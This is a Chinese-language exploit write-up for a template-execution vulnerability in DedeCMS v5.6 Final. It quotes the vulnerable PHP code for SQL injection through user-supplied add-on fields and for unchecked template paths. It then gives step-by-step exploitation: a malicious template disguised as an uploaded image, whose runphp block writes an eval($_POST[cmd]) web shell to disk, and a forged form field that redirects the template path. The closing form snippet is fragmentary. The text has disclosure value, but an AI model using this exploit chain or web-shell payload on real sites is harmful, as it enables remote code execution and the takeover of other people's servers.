DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本
影响版本:DEDECMS v5.6 Final
程序介绍:
DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本,
DEDECMS网站管理系统模板执行漏洞(影响版本v5.6)
。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于DedeCms核心,是目前国内应用最广泛的php类CMS系统。漏洞分析:
Dedecms V5.6 Final版本中的各个文件存在一系列问题,经过精心构造的含有恶意代表的模板内容可以通过用户后台的上传附件的功能上传上去,然后通过SQL注入修改附加表的模板路径为我们上传的模板路径,模板解析类:include/inc_archives_view.php没有对模板路径及名称做任何限制,则可以成功执行恶意代码。
1、member/article_edit.php文件(注入):
//漏洞在member文件夹下普遍存在,$dede_addonfields是由用户提交的,可以被伪造,伪造成功即可带入sql语句,于是我们可以给附加表的内容进行update赋值。
PHP Code复制内容到剪贴板
…
//分析处理附加表数据
$inadd_f='';
if(!emptyempty($dede_addonfields))//自己构造$dede_addonfields
{
$addonfields=explode(';',$dede_addonfields);
if(is_array($addonfields))
{
print_r($addonfields);
foreach($addonfieldsas$v)
{
if($v=='')
{
continue;
}
$vs=explode(',',$v);
if(!isset(${$vs[0]}))
{
${$vs[0]} ='';
}
${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);
$inadd_f.=','.$vs[0]." ='".${$vs[0]}."' ";
echo$inadd_f;
}
}
}
…
if($addtable!='')
{
$upQuery="Update `$addtable` set typeid='0id',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";//执行构造的sql
if(!$dsql->ExecuteNoneQuery($upQuery))
{
ShowMsg("更新附加表 `$addtable` 时出错,请联系管理员!","javascript.:;");
exit();
}
}
…
//这是模板处理类,如果附加表的模板路径存在,直接从附加表取值;GetTempletFile获取模板文件的方法就是取的此处的模板路径,从来带进去解析。
PHP Code复制内容到剪贴板
…
//issystem==-1 表示单表模型,单表模型不支持redirecturl这类参数,因此限定内容普通模型才进行下面查询
if($this->ChannelUnit->ChannelInfos['addtable']!=''&&$this->ChannelUnit->ChannelInfos['issystem']!=-1)
{
if(is_array($this->addTableRow))
{
$this->Fields['redirecturl'] =$this->addTableRow['redirecturl'];
$this->Fields['templet'] =$this->addTableRow['templet'];//取值
$this->Fields['userip'] =$this->addTableRow['userip'];
}
$this->Fields['templet'] = (emptyempty($this->Fields['templet']) ?'': trim($this->Fields['templet']));
$this->Fields['redirecturl'] = (emptyempty($this->Fields['redirecturl']) ?'': trim($this->Fields['redirecturl']));
$this->Fields['userip'] = (emptyempty($this->Fields['userip']) ?'': trim($this->Fields['userip']));
}
else
{
$this->Fields['templet'] =$this->Fields['redirecturl'] ='';
}
…
//获得模板文件位置
functionGetTempletFile()
{
global$cfg_basedir,$cfg_templets_dir,$cfg_df_style;
$cid=$this->ChannelUnit->ChannelInfos['nid'];
if(!emptyempty($this->Fields['templet']))
{
$filetag= MfTemplet($this->Fields['templet']);
if( !ereg('/',$filetag) )$filetag=$GLOBALS['cfg_df_style'].'/'.$filetag;
}
else
{
$filetag= MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
}
$tid=$this->Fields['typeid'];
$filetag=str_replace('{cid}',$cid,$filetag);
$filetag=str_replace('{tid}',$tid,$filetag);
$tmpfile=$cfg_basedir.$cfg_templets_dir.'/'.$filetag;
if($cid=='spec')
{
if( !emptyempty($this->Fields['templet']) )
{
$tmpfile=$cfg_basedir.$cfg_templets_dir.'/'.$filetag;
}
else
{
$tmpfile=$cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
}
}
if(!file_exists($tmpfile))
{
$tmpfile=$cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid=='spec'?'article_spec.htm':'article_default.htm');
}
return$tmpfile;
}
1.上传一个模板文件:
注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:
uploads/userup/2/12OMX04-15A.jpg
模板内容是(如果限制图片格式,加gif89a):
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
2.修改刚刚发表的文章,查看源文件,构造一个表单:
XML/HTML Code复制内容到剪贴板
(内容的简要说明)
value="../ uploads/userup/2/12OMX04-15A.jpg"> value="templet,htmltext;">(这里构造)